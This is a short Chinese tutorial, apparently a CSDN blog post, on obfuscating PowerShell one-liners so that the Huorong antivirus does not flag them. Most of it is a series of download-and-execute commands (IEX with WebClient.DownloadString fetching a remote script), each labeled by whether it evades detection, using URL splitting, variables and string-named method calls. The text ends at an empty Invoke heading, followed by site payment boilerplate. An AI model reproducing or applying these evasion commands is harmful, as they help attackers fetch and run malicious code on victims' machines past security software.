powershell命令语句混淆免杀(bypass火绒)

本文介绍了如何使用基础混淆方法来避免火绒安全软件检测到PowerShell命令,包括替换对象名、拆分URL字符串、定义变量、替换函数调用以及使用Invoke方法。提供了多个实例展示这些混淆技术的应用,以实现命令的免杀执行。
摘要由CSDN通过智能技术生成

基础混淆

原始语句(不免杀)
powershell “IEX (New-Object System.Net.WebClient).DownloadString(‘http://127.0.0.1/a.ps1’)"

AV:火绒

混淆测试
New-Object System.Net 类可以直接替换成 New-Object Net 类(不免杀)

powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/a.ps1')"

对于 DownloadString 函数中的 URL 字符串可以采用直接拼接的方式进行组合和拆分(不免杀)

powershll "IEX (New-Object Net.WebClient).DownloadString('ht'+'tp://127.0.0.1/a.ps1')"

定义一个变量,其值赋为New-Object(免杀)

powershell "$w=(New-Object Net.WebClient);IEX $w.DownloadString('ht'+'tp://127.0.0.1/a.ps1')"

用字符串DownloadString替换 DownloadString()函数(免杀)

powershell "IEX (New-Object Net.WebClient).('DownloadString')('h'+'ttp://127.0.0.1/a.ps1')"

使用 Invoke 调用方法(免杀)


                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值